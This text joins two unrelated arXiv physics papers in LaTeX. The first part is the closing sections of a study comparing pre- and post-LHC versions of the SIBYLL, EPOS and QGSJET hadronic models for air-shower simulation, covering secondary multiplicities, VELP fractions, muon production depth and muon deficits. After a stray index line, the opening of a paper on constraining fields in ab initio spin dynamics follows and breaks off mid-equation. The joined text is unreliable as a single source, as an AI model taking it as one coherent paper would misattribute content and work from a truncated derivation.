It is also important to mention that the processing time required for a given collision spreads very widely around the mean values plotted in Fig. \ref{fig:CPUTvsEprim}. As an example of this characteristic of the processing time distribution, we observe that in the case of 100 EeV collisions, the processing time for EPOS (SIBYLL 2.3) can overpass in more than 60 (30) times the corresponding average.
The number of secondaries, $N_{\rm sec}$, produced after an hadronic collision is normally the first observable to be analyzed.
In Figs. \ref{fig:NsecppvsEprim}-\ref{fig:NsecpNvsEprim} we present the dependence of $\langle{N_{\rm sec}}\rangle$ with the primary energy for the cases of proton-proton and proton-nitrogen collisions, respectively. Both figures include a comparison among the new versions of the different hadronic models (upper left plots) and also each model with its corresponding previous version. In both figures it can be seen that for the new versions of the different models, SIBYLL 2.3 produces the smallest number $\langle{N_{\rm sec}}\rangle$. This is in agreement with the fact that one of the main differences between the semi-hard Pomeron scheme and the minijet approach employed in SIBYLL is that in the former case there is an additional contribution to secondary particle production which emerges from the soft parton evolution.
In the case of proton-nitrogen collisions, the largest number of $\langle{N_{\rm sec}}\rangle$ corresponds to QGSJET-II-04, then followed by EPOS-LHC. This behavior is slightly different with respect to the case of proton-proton collisions where the largest number of $\langle{N_{\rm sec}}\rangle$ corresponds to EPOS-LHC, then followed by QGSJET-II-04. The smaller average number of secondaries predicted by EPOS-LHC with respect to QGSJET-II-04 is consistent with the results of \cite{Ostapchenko:2014mna}.
When considering the case of proton-proton collisions (Fig. \ref{fig:NsecppvsEprim}), it can be seen that the mean number of secondary particles are significantly lower than the corresponding ones for the proton-nitrogen case. For both targets (Figs. \ref{fig:NsecppvsEprim}-\ref{fig:NsecpNvsEprim}) there are lower values of $\langle{N_{\rm sec}}\rangle$ at high energies for the new models in comparison with their previous version, except for the case of EPOS.
Notice also that the ratios between the average numbers of secondaries displayed in the upper left plots of Figs. \ref{fig:NsecppvsEprim}-\ref{fig:NsecpNvsEprim} are not the same for proton-proton or proton-nitrogen collisions. Furthermore, in the case of proton-proton collisions the average secondaries of QGSJET and EPOS are virtually coincident for energies up to nearly $10^{10}$ GeV, while in the case of proton-nitrogen collisions the coincidence is now between SIBYLL and EPOS curves.
Following our previous work \cite{Gar09}, we classify all collision events as being either ``VELP'' (very energetic leading particle) events, or simply ``inelastic'' events. The interest for such a classification is closely related with the study of hadronic collisions in the framework of particle showers that develop in the Earth's atmosphere. The algorithm for labeling an event as ``VELP'' or ``inelastic'' used in the present work, described in detail in Ref. \cite{Gar09}, allows one to determine whether or not a collision event contains an energetic leading particle capable of contributing considerably to the energy transport deep down in the atmosphere during the air shower development. One of the quantities that are considered in the mentioned algorithm is the {\em leading energy fraction\/} \cite{Gar09}, $f_l$, defined as
\begin{equation} \label{eq:flkdef}
f_l = 1 - K =\frac{E_{\rm lead}}{E_P}
\end{equation}
where $E_{\rm lead}$ is the energy of the most energetic secondary emerging from the collision (leading particle). The complementary quantity $K$ is the {\em inelasticity.\/}
In the case of a VELP event, $f_l$ is close or very close to 1, or, equivalently, $K$ close or very close to 0. Non VELP, i.e., inelastic events, will present wide distributions of $f_l$ or $K$.
It is worth mentioning that VELP events certainly include most of the standard diffractive events \cite{Gar09}. Consequently, the fraction of VELP events, defined as the ratio between the number of VELP events divided by the total number of events, gives an estimation of the diffractive to total cross section ratio.
In Figs. \ref{fig:FracVelppp} and \ref{fig:FracVelppN} we present the dependence of the fraction of VELP events with the primary energy for the cases of proton-proton and proton-nitrogen collisions, respectively. In the same way as in the cases of Figs. \ref{fig:NsecppvsEprim}-\ref{fig:NsecpNvsEprim}, we compare the new models (upper left plots), and also each model with its corresponding previous version.
As VELP events are characterized by a low number of secondary particles, the plots in Figs. \ref{fig:FracVelppp} and \ref{fig:FracVelppN} are inversely related to the respective ones in Figs. \ref{fig:NsecppvsEprim} and \ref{fig:NsecpNvsEprim}. There is a larger number of VELP events for the cases of proton-proton collision in comparison with the proton-nitrogen collisions.
For most of the analyzed energy range, post-LHC models give rise to a larger fraction of VELP events, particularly at the highest energies, than the ones corresponding to the respective pre-LHC versions. The increment in the fraction of VELP events is clearly noticeable in the cases of SIBYLL and EPOS and for both of the studied targets (protons and nitrogen nuclei), as can be seen from Figs. \ref{fig:FracVelppp} and \ref{fig:FracVelppN}. In the case of QGSJET such increment is not so important. When comparing the newest versions of the hadronic models (upper left plots of Figs. \ref{fig:FracVelppp} and \ref{fig:FracVelppN}), it can be seen that in the case of proton-nitrogen collisions the models return similar figures for the entire energy range under analysis, with the exception of SIBYLL that presents a particularly small fraction of VELP events at the highest energies. On the other hand, in the case of proton-proton collisions, all the models return similar results at the highest energies, while at energies below 1 PeV SIBYLL and QGSJET predictions also agree, in contrast with EPOS that in this primary energy range returns noticeably larger fractions of VELP events.
Notice also that in the case of proton-proton collisions, and at LHC energies (from 32 to 85 PeV in the lab reference system), the three models return similar fractions of VELP events.
The analysis of other observables allows one to obtain a more complete picture of the similarities and differences between hadronic models, and for this reason we have also analyzed the inelasticity (Eq. \ref{eq:flkdef}). In Fig. \ref{fig:Kdist56PeVpp} (\ref{fig:Kdist100EeVpN}) the inelasticity distributions for 56 PeV proton-proton (100 EeV proton-nitrogen) collisions are presented for the cases of the three models studied.
The differences between the distributions corresponding to pre- and post-LHC versions of the models are in general not large, as can be seen in Fig. \ref{fig:Kdist56PeVpp}. In the case of events with a very small inelasticity ($f_l$ near 1), one finds that their frequency is larger with the newer versions of SIBYLL and EPOS. This is consistent with the increase in the fraction of VELP events that can clearly be seen in the plots of figure \ref{fig:FracVelppp}. The very similar QGSJET inelasticity distributions are also consistent with the data displayed in Fig. \ref{fig:FracVelppp}.
The comparison of the inelasticity distributions corresponding to the newer versions of the three analyzed models (upper left plot of Fig. \ref{fig:Kdist56PeVpp}), shows that all the distributions are very similar, but not completely coincident, in contrast with the fact that the corresponding fractions of VELP events are virtually the same (see upper left plot of Fig. \ref{fig:FracVelppp}).
To better understand this situation, we include in Figs. \ref{fig:Nsecpp56PeV} and \ref{fig:NsecpN100EeV} the distributions of $N_{\rm sec}$ for 56 PeV proton-proton and 100 EeV proton-nitrogen collisions, respectively, showing a comparison between pre- and post-LHC models. In all cases a frequency peak at low $N_{\rm sec}$ shows up clearly, which corresponds mainly to VELP events. The QGSJET distributions present virtually no differences when comparing its pre- and post-LHC versions. On the other hand, the EPOS distributions show important qualitative differences when comparing the pre -and post-LHC cases. In the newest version of EPOS a peak of the distribution for events with 4 or 5 secondary particles is clearly noticeable. Such peak is larger than the corresponding one for EPOS 1.99. This is consistent with the fact that EPOS-LHC has larger fractions of VELP events, as shown in Figs. \ref{fig:FracVelppp} and \ref{fig:FracVelppN} (lower left plots). However, the EPOS 1.99 distribution presents a larger peak around the 75 secondary particles zone. Such events have low inelasticity. As a result, the number of events with low inelasticity is not much different from the corresponding one for EPOS-LHC, as can be seen from Figs. \ref{fig:Kdist56PeVpp} and \ref{fig:Kdist100EeVpN}. In the case of SIBYLL, the qualitative structure of the distribution of the number of secondary particles is similar in the pre- and post-LHC cases, and presents an important peak in the region that spans events with about 30 to 150 secondary particles. Finally, QGSJET in both its pre- and post-LHC versions also presents such a peak, smaller in comparison with the sharp few-event peak.
Another very important characteristic to analyze is the kind of secondary hadrons that these models produce as output after each simulated collision. It is important to take into account here that the whole process of building the final list of secondaries encompasses the steps of energy splitting, hadron creation, and eventual decay of unstable hadrons or resonances. The hadronic models that we have studied allow the user to control what particles are considered ``unstable", with the exception of QGSJET where we have not found user-controllable parameters to control decay of unstable particles. When such a secondary particle is created it undergoes further processing being forced to decay. As a result, the output secondary particle list does not include the unstable particle, but rather its decay products. In our study, we have configured the hadronic packages similarly as they are used within common air shower simulation programs, using the default settings that in general force to decay only very short lived resonances. For this reason, our analysis of the kind of secondaries produced refers always to the final list of secondary particles effectively coming off after every collision is processed, without distinguishing between hadrons created by the collision processing engine or particles that are product of decays that were processed internally.
To start with this analysis of the kind of secondary particles that emerge after each collision, let us refer to the plots of Figs. \ref{fig:SecFractsppvsEprim} and \ref{fig:SecFractspNvsEprim}. In such figures, the average fractions of the most relevant groups of hadrons produced after the collisions are plotted as functions of the primary energy. The groups of particles considered are: pions (charged and neutral), kaons (charged and neutral), other mesons (mainly $\eta$ and $\rho$), nucleons ($p$, $n$, $\bar p$, $\bar n$), and other baryons (mainly $\Lambda$).
QGSJET-II-04 and EPOS LHC present a similar behavior for the fraction of each type of secondary particle in comparison with their previous version for both proton-proton and proton-nitrogen cases. However, in the case of SIBYLL, there is an appreciable decrement of the fraction of pions and an increment of the fraction of ``other mesons" in the new version of this hadronic model. Also, at high energies there is an increment of the fraction of nucleons and ``other baryons". These differences can be understood taking into account that the last version of SIBYLL (2.3c) extends the fragmentation model to increase baryon pair production and also includes the production of charmed hadrons \cite{Rie15}.
All these changes in the fractions of secondary particles can be better appreciated in Figs. \ref{fig:SecDistpp56PeV} and \ref{fig:SecDistpN100EeV} that display the distributions of the average number of the most relevant secondary mesons and baryons for 56 PeV proton-proton and 100 EeV proton-nitrogen collisions respectively. We show the results for the pre- and post-LHC versions of the different hadronic interaction models.
To improve the visual aspects of the plots, in Figs. \ref{fig:SecDistpp56PeV} and \ref{fig:SecDistpN100EeV} the particles included are the same for all the considered hadronic models, allowing for zero length bars in the cases where such particles are never present among the secondaries that emerge off the collisions: $\rho$'s, $\Sigma$'s, and $\Xi$'s for QGSJET; and $\rho$'s for EPOS.
In both proton-proton and proton-nitrogen cases it can be seen that QGSJET produces the lowest variety of baryons. QGSJET returns the largest numbers of secondaries, particularly at the highest energies, requiring that a different vertical scale is needed for this model in these plots, for both mesons and baryons. On the other hand, we use the same scale for EPOS and SIBYLL in all cases.
QGSJET shows noticeably smaller numbers of mesons and baryons in comparison with its older pre-LHC versions, in agreement with the data displayed in Figs. \ref{fig:NsecppvsEprim}-\ref{fig:NsecpNvsEprim} (upper right plots). In the case of EPOS, there is a noticeable increase in the number of secondary mesons, particularly pions, when passing from the old (1.99) to the LHC version. However, both versions return similar numbers of baryons.
On the other hand, SIBYLL 2.1 returns a substantially larger number of pions in comparison with the recent 2.3 or 2.3c versions. This is compensated with the production of $\rho$'s resulting in a small variation in the total number of mesons when comparing pre- and post-LHC versions of SIBYLL. Notice that SIBYLL 2.1 does not produce $\rho$'s. In the case of baryons, the production of neutrons, protons and $\Lambda$'s and their antiparticles is larger in the recent versions of SIBYLL, particularly in SIBYLL 2.3c. We would like to mention that the recent versions of SIBYLL give a very good description of $\rho^0$ production at 350 GeV \cite{NA61SHINE17}.
It is important to mention that the configuration we used for these runs corresponds, as it has already been mentioned, to the default set of parameters employed in common air shower simulation programs. In the case of EPOS (all versions), such setting implies that $\rho$ mesons are internally forced to decay. For this reason there are no such particles in the EPOS plots of Figs. \ref{fig:SecDistpp56PeV} and \ref{fig:SecDistpN100EeV}. Should these forced decays be disabled, both versions of EPOS would output a significant number of $\rho$ mesons in the two cases here considered: for 56 PeV proton-proton collisions the EPOS $\rho$ production is slightly smaller that the here reported figures for SIBYLL 2.3, and reduces to approximately 50\% for 100 EeV $p$-N collisions.
Notice also that EPOS produces a very small number of $\Omega$'s, about 2 (30) every 100 events in the conditions of Fig. \ref{fig:SecDistpp56PeV} (\ref{fig:SecDistpN100EeV}). Such kind of particles are not present among the secondary particles generated with SIBYLL or QGSJET.
It is also worth mentioning that among all the secondaries that are produced by EPOS or SIBYLL (in all of their versions) there can be a small number of photons, leptons, and neutrinos, which come from decays that were processed internally by the corresponding simulation packages. We recall that there is no such kind of particles within the secondaries generated by QGSJET.
Figures \ref{fig:SecDistpp56PeV_lepgam} and \ref{fig:SecDistpN100EeV_lepgam} display the average number of photons, leptons, and neutrinos produced during the EPOS or SIBYLL simulations. Notice that the number of such secondary particles produced are similar for all the versions of those models, except for the case of Fig. \ref{fig:SecDistpp56PeV_lepgam} where EPOS-LHC returns slightly more electrons and muons than EPOS 1.99. When comparing between models, it can be seen that both SIBYLL versions return approximately the same quantity of photons than EPOS, but a substantially larger number of leptons. Notice also that EPOS does not return neutrinos of any kind.
We continue our analysis by considering the differences between models in the deflection angles of the emerging secondary particles. In our previous work \cite{Gar09} we presented an exhaustive study of the secondary particle pseudorapidity $\eta$ ($\eta=-\ln[\tan(\theta/2)]$, where $\theta$ is the deflection angle of the corresponding secondary particle) distribution in several relevant cases. We found that the general characteristics of those distributions are maintained for the recent versions of all the models we considered, and for this reason, and for the sake of brevity we are not including all the details of our current analysis.
We consider worthwhile presenting a comparison among the different pseudorapidity distributions in the case of proton-proton collisions at LHC energies. At this energy, all the models have been tuned against available experimental results in the range $|\eta|<2.5$ \cite{Kvita17}.
In Fig. \ref{fig:CmEtaDist56PeVpp} we display the normalized center of mass pseudorapidity distribution in the case of 56 PeV (lab energy) proton-proton collisions. It shows up clearly that all the distributions present qualitatively similar shapes, especially in the region $|\eta|<2.5$. The similarity is particularly noticeable when comparing EPOS and QGSJET, and in this case extends to the whole range of $\eta$. On the other hand, the distributions for SIBYLL are somewhat different. In the case of mesons (mainly $\pi$, $K$, and $\rho$), they are slightly narrower than the corresponding ones for EPOS or QGSJET, thus implying that SIBYLL produces a moderately larger number of mesons in the pseudorapidity region that goes from -3 to 3 approximately. In the case of nucleons, there is a noticeable difference between the SIBYLL and the EPOS or QGSJET distributions, remarkable for $|\eta| \sim 10$ where the SIBYLL distribution presents visible peaks (see figure \ref{fig:CmEtaDist56PeVpp}).
In order to investigate possible effects on air shower development,
especially in the lateral distribution of particles, it is also
necessary to compare the pseudorapidity distributions in the lab
system, and in a typical case like collisions against nitrogen nuclei
targets. In Fig. \ref{fig:LabEtaDist56PeVpiNpN} we present such
distributions, always for the case of 56 PeV projectiles colliding
against nitrogen nuclei (for larger projectile energies all these
distributions are very similar in shape). In the case of mesons, the
distributions for all models are very similar, especially for EPOS and QGSJET. When considering the pseudorapidity of baryons, it
can be clearly seen that the different hadronic models lead to
noticeable differences, especially for $\eta$ between 0 and 4
($\theta$ between 2 and 90 degrees). The peak of the SIBYLL
distribution for proton-nitrogen collisions at $\eta \sim +18$ (upper
right plot in Fig. \ref{fig:LabEtaDist56PeVpiNpN}) corresponds to
VELP events characterized by a leading particle (nucleon) having a
very high energy and thus emerging with a very small deflection angle,
which corresponds to a large $\eta$. When the leading particle in VELP
events is not a baryon, as for the $\pi$-N collisions (lower right
plot in figure \ref{fig:LabEtaDist56PeVpiNpN}) such a peak is
absent. It is also noticeable that there is a relative increment of
baryons with $\eta \gtrsim 13$ for EPOS $\pi$-N collisions in
comparison with the other hadronic models. This is in agreement with the fact that as in EPOS diquarks are allowed as string ends, when the projectile is a meson, it leads to an increase of the (anti)baryon production in the forward direction \cite{Pierog:2017}. It is also important to remark that the baryon distributions present a sharp end at $\eta=0$ with no recoiling particles ($\eta<0$) being generated. This characteristic of the nucleons pseudorapidity distribution, also present in the old versions of the hadronic models \cite{Gar09}, is somewhat unnatural, and is accompanied by a relative abundance of particles with $\eta$ positive and very small, particularly noticeable in the case of SIBYLL.
\section{Impact on Shower Observables}
\label{sec:ShowerResults}
In this section we focus on the implications of the post-LHC updates in the hadronic interaction
packages on EAS observables that can provide information on the characteristics of the primary particle that initiates the shower. To achieve this goal, we have performed numerous sets of simulations with an updated version of the AIRES air shower simulation program \cite{Sci01} linked to every one of the hadronic models considered in this work.
One of the most important observables to consider is the shower maximum depth, $X_{\rm max}$ that is known to be proportional to the logarithm of the mass number of the primary particle. This observable has been extensively studied and the results are well-known (see, for example, Ref.\cite{Aab14a}). In our analysis of $X_{\rm max}$ obtained for all the hadronic packages considered here, we have reproduced such published results (not shown explicitly here for brevity). Comparing simulations with pre- and post-LHC models, it has been found that only SIBYLL presents an important change in $X_{\rm max}$ \cite{engel17}.
The signals associated with muons can be large enough to draw reliable conclusions on the primary mass or the possible appearance of new physics signatures, and for this reason most of the cosmic rays observatories are designed to be as efficient as possible to detect such kind of particles. Because of their importance, another set of observables that we have analyzed is related to the secondary muons produced during shower development.
The production of muons has been extensively discussed in the literature. In particular, it was found that the muon production simulated using the pre- and post-LHC hadronic models is significantly smaller when compared to the experimental observations and the differences among models are large \cite{Aab15}. Our analysis, not shown here for brevity, is in full agreement with the published results.
The muon production depth (MPD) distribution is the other important observable,
because it can give valuable information about the primary mass \cite{Aab14b,Mallamaci17}. The MPD describes
the longitudinal development of the muonic component of the EAS and can be characterized by (a) its shape and (b) the point along the shower axis where the
production of muons reaches its maximum $X_{\rm max}^{\mu}$.
We have studied the MPD distribution in a series of representative cases, by means of air shower simulations. The results for the MPD distribution are plotted in Fig. \ref{fig:MPDdist200mKemin060MeV} for all the hadronic models considered, in the very representative case of 32 EeV proton initiated showers, inclined 55 degrees.
From these plots it can be clearly seen that in the cases of EPOS and QGSJET there are no significant changes when comparing the corresponding pre- and post-LHC versions of these hadronic models.
On the other hand, SIBYLL 2.3 (and 2.3c) produces, in comparison with the old version 2.1, a significantly larger number of muons and a slightly larger value of $X_{\rm max}^{\mu}$.
This is consistent with the fact that SIBYLL 2.3 gives noticeably larger values of $X_{\rm max}$, in comparison with SIBYLL 2.1, as discussed in Ref. \cite{Bell17}.
The MPD distribution depends on the subset of muons reaching ground that one considers for the analysis. This is clearly seen when comparing the plots in Fig.
\ref{fig:MPDdist200mKemin060MeV} with the corresponding ones of Fig. \ref{fig:MPDdist1200mKemin060MeV}. Both figures represent the MPD, but for the cases of muons located more than $200$ m away from the shower axis (Fig. \ref{fig:MPDdist200mKemin060MeV}), or distant between $1200$ m and $4000$ m from such axis (Fig. \ref{fig:MPDdist1200mKemin060MeV}). The ``tails" of the distributions of Fig. \ref{fig:MPDdist200mKemin060MeV} correspond to muons produced very near the ground level after the decay of hadrons (mainly pions and kaons) that in turn are secondary particles of the hadronic collisions that took place near the shower axis. Such kind of decaying hadrons are much less frequent at larger distances from the shower axis, and thus the different shape of the distributions of Fig. \ref{fig:MPDdist1200mKemin060MeV}.
\section{Final remarks}
\label{sec:Final}
We have performed a comparative analysis of different observables associated with the secondary particles emerging from hadronic collisions simulated with pre- and post-LHC versions of the hadronic packages SIBYLL, EPOS, and QGSJET.
Our analysis is focused on comparing pre- and post-LHC versions of each of the hadronic models studied in order to evaluate the changes between versions, and also in making comparisons among the newest versions of the models. We are particularly interested in describing the characteristics of the secondary particles produced by each model without entering in a detailed analysis of how such characteristics are related to the corresponding theoretical models. Such detailed analysis goes beyond the scope of the present work.
We have run an extensive set of simulations where a beam of hadronic projectile particles impacts on a given target generating a number of secondaries that were recorded and statistically analyzed. We considered proton and pion projectiles with energies ranging from 100 GeV to 300 EeV, as representative cases of the collisions that take place during the development of particle showers generated by cosmic rays that enter the Earth's atmosphere. The selection of nitrogen nuclei ($A=14$) as targets is also related with such atmospheric showers, since nitrogen is the most abundant component of air. Proton targets have also been used to allow for model comparisons in similar conditions as the collider experiments whose results were used to release improved versions of the simulation packages.
In many cases it is convenient to examine in detail the results of the simulations considering specific projectile and target, and with fixed projectile energy. In this work we have used very frequently two of such selections, namely, (1) proton-proton collisions with 56 PeV projectile kinetic energy in the laboratory system (corresponds to $\sqrt{s}\simeq 10$ TeV), as a representative case to analyze the results of the simulations in the conditions of the LHC experiments where data has been used to tune the newest versions of the hadronic models; and (2) proton-nitrogen collisions with 100 EeV projectile kinetic energy in the laboratory system, corresponding to the conditions of the highest energy cosmic ray collisions in the atmosphere, appropriate to study the results of the extrapolations used by the different models to simulate the collisions at energies well beyond the limits of present collider experiments.
The results presented in Sec. \ref{sec:Results} clearly indicate that there is a remarkable improvement in the degree of coincidence of many observables when comparing among similar simulations of the post-LHC versions of the three analyzed models. This is particularly evident in the case of the fractions of VELP events, that are approximately coincident for all the models studied and for all the primary energies considered in the case of proton-nitrogen collisions, as it clearly shows up in Fig. \ref{fig:FracVelppN} (upper left plot). Notice the remarkable difference between this plot and the respective one of our previous work (Fig. 4 of Ref. \cite{Gar09}).
Even if there is a good agreement among the fractions of VELP events returned by each of the studied models, the quantities that are closely related with that fraction, i.e., the inelasticity and the number of secondary particles, present moderate but non-negligible differences (see Figs. \ref{fig:Kdist100EeVpN}-\ref{fig:NsecpN100EeV} and the corresponding discussion in Sec. \ref{sec:Results}). Such differences occur even for the case of proton-proton collisions at energies comparable with the LHC ones.
Other characteristic of the hadronic collision simulators that has an important impact on the EAS development is the kind of generated hadrons, closely related to the production of other particles, particularly muons, after decays of the produced secondary hadrons. The analysis of the average number of different secondary hadrons produced by the hadronic models under identical conditions clearly show that there are significant differences among models. Such differences appear for most of the cases we have considered here, and include the case of proton-proton collisions at LHC energies.
The analysis of EAS with different hadronic interaction packages reported in section \ref{sec:ShowerResults} indicates that the existing differences among hadronic models translates into differences in shower observables.
One of the most studied observables is the shower maximum depth, $X_{\rm max}$. The most recent comparisons with experimental data \cite{Aab14c,Aab17a,Bell17} indicate that predictions of simulations performed with different hadronic models using primary protons and atomic nuclei present a reasonable agreement with the measurements. It is possible to adequately reconcile experiment and simulations assuming that the cosmic rays hitting the Earth include protons and nuclei in proportions that vary with the primary energy. Under these conditions it is possible to determine the average mass, $\langle \ln A\rangle$, as a function of energy \cite{Bell17}, or, alternatively, to perform a simultaneous adjustment of the measured cosmic ray flux and its composition, assuming that the total flux is the sum of various components whose spectra are conveniently modeled and parameterized \cite{Aab17a}. In all cases, the simulations carried out with EPOS-LHC seem to be the ones that produce the best adjustments.
Another magnitude that has been measured by surface arrays such as the Auger Observatory is the number of ground-level muons produced by inclined showers . The results published in the reference \cite{Aab15}, as well as the simulations that we have done with all the versions (pre- and post LHC) of the hadronic models studied here, evidence without doubt that in all cases the number of muons predicted by the simulations is less than what results from the experimental measurements. In the representative case of 10 EeV showers, the relative deficit of simulated muons with respect to the measured ones is approximately 30\% (8\%) when compared with showers initiated by protons (iron nuclei) in the cases of SIBYLL 2.3 and EPOS-LHC. QGSJETII-04 predicts even fewer muons, 40\% and 23\% less, respectively. It is important to note that in the case of SIBYLL, there is a significant increase in the production of muons, which under the conditions of these simulations is of the order of 40\% larger compared to the old version 2.1. The pre- and post-LHC versions of EPOS and QGSJET do not show large variations with respect to the number of muons predicted in equal initial conditions. These results are consistent with the discussion presented in Secs. \ref{sec:Results} and \ref{sec:ShowerResults}.
Similarly, in the particularly interesting case of the MPD distribution we find that the LHC parameter tuning performed in the case of QGSJET and EPOS does not have a significant impact on this distribution; while in the case of SIBYLL there is a visible increase of the number of muons comparing the pre- and post-LHC versions, most probably related to a change in the fractions of secondary hadrons produced at each collision that allows for an increased muon production after the decay of unstable hadrons (mainly pions and kaons).
In all of the analyzed cases, the total number of produced muons continues to be significantly smaller in comparison with experimental measurements, regardless of the hadronic model used. The possibility of producing observables that are sensitive to the primary composition, such as, for example, quantities connected to the number of muons generated in the showers, as planned in the case of AugerPrime \cite{Aab16a}, will undoubtedly be of great importance as well as to improve our understanding of the nature of cosmic rays so as to be in a better position to validate the different hadronic models.
We end remarking that our analysis using different hadronic models allows us to conclude that there have been very significant improvements in the simulation of hadronic collisions, but this issue continues to be a challenging topic calling for further research, more than 30 years after the first simulations were reported, and despite all the theoretical efforts and the experimental data that have been collected since then.
\section*{ACKNOWLEDGMENTS}
This work was partially supported by Agencia Nacional de Promoción Científica y Tecnológica (ANPCyT), Argentina and Consejo Nacional de Investigaciones Científicas y Técnicas (CONICET), Argentina.
We are indebted to R. Clay, T. Pierog, and M. Unger for a careful reading of the manuscript and making useful comments.
\clearpage
|
1,477,468,750,046 | arxiv | \section{Introduction}
The magnetization dynamics of both insulating and metallic materials
can, in many cases, be described within the framework of atomistic spin
dynamics (see Refs.~\cite{Bertotti2009,Eriksson2017} for an overview).
This approach is valid when the electronic Hamiltonian can be mapped onto an effective model of localized spins with constant magnetic moment lengths and interaction parameters that are independent of the spin configuration. While this is generally fulfilled by magnetic insulators, these assumptions may not be
valid for magnetic metals, for magnets with non-collinear states \cite{Szilva2013,Szilva2017}, or for systems far away from equilibrium. An example of the latter is the case of ultrafast demagnetization experiments \cite{Beaurepaire1996}, where
a laser pulse demagnetizes a magnetic metal on a sub-picosecond time
scale. Such an extreme scenario would require a full non-equilibrium
treatment of the electrons, for example with time-dependent density-functional
theory (TDDFT) \cite{Runge1984}. The numerical difficulty and computational expense
of such an approach limits the applications to simulation cells with only a few atoms, which casts doubt on the ability to analyze real experiments.
Therefore, it would be desirable to have a method that combines
atomistic spin dynamics and electronic structure calculations with
a reduced numerical complexity: \textit{ab initio} spin dynamics.
Antropov \textit{et al.} proposed exactly such a formalism where the torques
on local magnetic moments are directly calculated from the electronic
ground state energy within the adiabatic approximation \cite{Antropov1995,Antropov1996}.
Stocks \textit{et al.} pointed out that an
arbitrary non-collinear magnetic configuration, which may be formed in such simulations, is not a stable ground
state of the energy functional of density functional theory (DFT), and therefore constraining fields are needed to enforce the desired magnetization
directions \cite{Stocks1998,Ujfalussy1999}. The implementation of arbitrary constraints within DFT has been worked out previously by Dederichs \textit{et al.}
\cite{Dederichs1984}. The use of constraining fields becomes essential
for magnetic configurations that deviate strongly from that of the ground state \cite{Singer2005}.
Stocks \textit{et al.} came to the conclusion that the effective field obtained from the energy
gradient is exactly the negative of the constraining field,
as the constraining field has to cancel the effective field \cite{Stocks1998,Ujfalussy1999}. However, in this paper, the energy gradient and the constraining field are actually compared to confirm this relation.
Here, we present such calculations for the simple case of an iron
dimer, where we find that the equivalence of the constraining field
and energy gradient is not exact. Motivated by this surprising numerical
result, we derive an exact relation between the constraining field and
energy gradient: the constraining field theorem. This theorem
shows that there is an additional term that can spoil the equality
of both fields when the Hamiltonian contains mean-field parameters,
which also applies to the auxiliary Kohn-Sham Hamiltonian in DFT calculations. We argue that the effective
field in DFT should be calculated from the energy gradient and not the constraining
field. This implies that exchange constants and effective magnetic
Hamiltonians should also be derived from the energy gradient and not from
the constraining field.
\section{Adiabatic approximation}
The adiabatic approximation in \textit{ab initio} spin dynamics is based on
the assumption that the degrees of freedom can be separated into fast
and slow components \cite{Antropov1995,Antropov1996,Halilov1998}. The slow degree
of freedom is the magnetization direction, while the fast electronic
degrees of freedom, including the magnetic moment lengths, are assumed
to equilibrate on much shorter time scales. For the description of
the magnetization dynamics, it is then valid to consider a quasi-equilibrium
state where the magnetic moment directions are held fixed by Lagrange
multipliers that act as constraining fields on the magnetic moments.
The torques on the magnetic moments can then be calculated
from this quasi-equilibrium state.
The constrained Hamiltonian is given by
\begin{equation}
\hat{\mathcal{H}}=\hat{\mathcal{H}}_{0}+\hat{\mathcal{H}}_{\text{con}},\label{eq:Hamiltonian}
\end{equation}
where $\hat{\mathcal{H}}_{0}$ is the original Hamiltonian and the
constraining term,
\begin{equation}
\hat{\mathcal{H}}_{\text{con}}=-\sum_{i}\gamma\hat{\mathbf{S}}_{i}\cdot\mathbf{B}_{i}^{\text{con}},\label{eq:constraining term}
\end{equation}
enforces a specific quasi-equilibrium state. Here, $\hat{\mathbf{S}}_{i}$ is the operator of the total spin at site $i$, the gyromagnetic ratio $\gamma=-g|e|/(2m_{e})$ with electron spin $g$-factor $g\approx2$, and $\mathbf{B}_{i}^{\text{con}}$
is the constraining field.
As shown in Fig.~\ref{fig:fig1}, this field, combined with intrinsic fields that are present in $\hat{\mathcal{H}}_{0}$ in Eq.~(\ref{eq:Hamiltonian}), acts on an atomic magnetic moment,
\begin{equation}
\mathbf{M}_{i}=\gamma\left\langle \hat{\mathbf{S}}_{i}\right\rangle =M_{i}\mathbf{m}_{i},
\end{equation}
such that the atomic moment and the constraining field are perpendicular. This causes the field to only constrain
the directions of the atomic moments, $\mathbf{m}_i$, and not the lengths, $M_{i}$.
While Eq.~(\ref{eq:constraining term}) remains finite as an operator, its expectation value vanishes,
\begin{equation}
\left\langle \hat{\mathcal{H}}_{\text{con}}\right\rangle =-\sum_{i}\mathbf{M}_{i}\cdot\mathbf{B}_{i}^{\text{con}}=0.\label{eq:constraining energy}
\end{equation}
\section{Equation of motion\label{sec:equation of motion}}
We consider the
equation of motion of the total spin $\hat{\mathbf{S}}_i$ at
site $i$,
\begin{equation}
\left\langle \dot{\hat{\mathbf{S}}}_{i}\right\rangle =\frac{i}{\text{\ensuremath{\hbar}}}\left\langle \left[\hat{\mathcal{H}}_{0},\hat{\mathbf{\mathbf{S}}}_{i}\right]\right\rangle ,
\end{equation}
where the expectation values have to be calculated with respect to
the ground state $\psi$ of the constrained Hamiltonian $\hat{\mathcal{H}}$. In general we have for an operator $\hat{\mathcal{O}}$,
\begin{equation}
\left\langle \hat{\mathcal{O}}\right\rangle =\bra{\psi(\{\mathbf{e}_{i}\})}\hat{\mathcal{O}}\ket{\psi(\{\mathbf{e}_{i}\})},
\end{equation}
where the ground state $\psi(\{\mathbf{e}_{i}\})$ is a function of the prescribed magnetic moment directions $\mathbf{e}_{i}$
with the expectation values of the moment directions fulfilling $\mathbf{m}_{i}=\mathbf{e}_{i}$.
The
total torque on $\hat{\mathbf{S}}_i$ in the ground state of the full Hamiltonian in Eq.~(\ref{eq:Hamiltonian}) is zero. This follows from
\begin{equation}
\left\langle \left[\hat{\mathcal{H}},\hat{\mathbf{S}}_{i}\right]\right\rangle =\left\langle E_{0}\hat{\mathbf{S}}_{i}-\hat{\mathbf{S}}_{i}E_{0}\right\rangle =0,
\end{equation}
where $E_{0}$ is the ground-state energy eigenvalue of $\mathcal{H}$.
This implies that for a Hamiltonian with a constraining field one may write
\begin{equation}
\left\langle \left[\hat{\mathcal{H}}_{\text{0}},\hat{\mathbf{S}}_{i}\right]\right\rangle +\left\langle \left[\hat{\mathcal{H}}_{\text{con}},\hat{\mathbf{S}}_{i}\right]\right\rangle =0.\label{eq:constrained eom}
\end{equation}
We identify
\begin{align}
\left\langle \dot{\hat{\mathbf{S}}}_{i}\right\rangle & =\frac{i}{\text{\ensuremath{\hbar}}}\left\langle \left[\hat{\mathcal{H}}_{\text{0}},\hat{\mathbf{S}}_{i}\right]\right\rangle \nonumber \\
